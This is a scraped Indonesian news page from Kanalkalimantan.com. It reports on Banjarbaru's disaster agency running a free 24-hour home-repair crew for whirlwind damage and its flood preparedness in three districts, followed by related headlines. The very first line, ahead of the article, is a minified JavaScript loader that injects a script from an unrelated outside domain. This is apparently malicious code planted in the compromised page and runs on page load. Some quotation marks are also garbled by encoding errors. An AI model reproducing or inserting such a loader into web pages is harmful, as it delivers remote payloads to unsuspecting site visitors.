(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Badan Penanggulangan Bencana Daerah (BPBD) Kota Banjarbaru membuat terobosan dalam penanganan musibah bencana angin puting beliung yang berpotensi terjadi di wilayah di kota Banjarbaru.
Bertajuk “Tukang Siaga Bencanaâ€Â, BPBD Kota Banjarbaru mengutamakan recovery bangunan rumah warga yang terdampak angin puting beliung, secara cepat dan tanpa dipungut biaya.
Kepala Pelaksana BPBD Kota Banjarbaru Zaini Syahranie menjelaskan bahwa program tukang siaga bencana ini melibatkan 3 orang profesional di bidang bangunan. Diterangkannya, ketiga tukang tersebut akan segera beraksi jika ada rumah warga yang rusak akibat angin puting beliung untuk dilakukan perbaikan.
“Jadi, mereka ini stand by selama 24 jam. Untuk peralatan bangunannya kita juga sediakan, contohnya seperti rangka baja, atap rumah, dan lain-lainya,†ujarnya kepada Kanalkalimantan.com, Selasa (21/1/2020) siang.
Zaini mengaku program ini merupakan bentuk bantuan pemerintah terhadap warga, menginggat proses perbaikan bangunan rumah rusak membutuhkan waktu cukup lama. Oleh karenanya, Kepala BPBD Banjarbaru memprioritaskan kecepatan perbaikan rumah yang efesien dan pastinya aman.
“Seandainya malam ini ada rumah warga yang terdampak, maka besok pagi sudah selesai diperbaiki. Mau dimana pun warga yang terdampak angin puting beliung, kita siap mengerahkan para tukang ini. Kita tidak akan memungut biaya perbaikan. Semuanya gratis, karena ini adalah bentuk pelayanan dari Pemko Banjarbaru,†lanjutnya.
Program ini sendiri telah dicanangkan sejak tahun 2019 lalu. Tersedianya berbagai peralatan dan bahan bangunan, menggunakan APBD tahun 2019 dengan nilai kurang lebih Rp 52 juta. Ketiga tukang tersebut akan dibayar oleh BPBD Banjarbaru untuk sekali pengerjaan.
“Tentu, kita tidak ingin ada musibah angin puting beliung. Ini sebagai antisipasi, karena beberapa tahun terakhir memang ada musibah serupa yang terjadi,†pungkas Zaini.
Sebelum dikeluarkannya Surat Edaran dari Gubenur Kalsel kepada Bupati dan Walikota bernomor 360/040/BPBD/PK/2020 tentang antisipasi ancaman banjir dan tanah longsor untuk seluruh wilayah Kalsel pada 13 Januari lalu, BPBD Banjarbaru telah lebih dulu mendirikan posko siaga di halaman kantor.
BPBD Banjarbaru juga telah berkolaborasi dengan relawan-relawan di masing-masing kelurahan di kota Banjarbaru. Ada 3 Kecamatan yang menjadi atensi dari pihak BPBD Banjarbaru, lantaran mengalami pasca banjir pada awal tahun kemarin, yakni di Landasan Ulin, Liang Anggang, dan Cempaka.
“Jelas paling disoroti banjirnya di kecamatan Cempaka karena tinggi air saat itu sampai dada orang dewasa. Intinya, petugas dan relawan yang sudah ditempatkan akan terus melakukan pengawasan di tiga Kecamatan ini. Kami juga berkoordinasi dengan Dinas Perumahan dan Pemukiman untuk antisipasi arus air untuk cepat turunnya,†bebernya.
 Rencananya, BPBD Kota Banjarbaru akan menggelar apel siaga bencana dengan melibatkan TNI Polri serta para relawan, pada akhir Januari ini. (kanalkalimantan.com/Rico)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.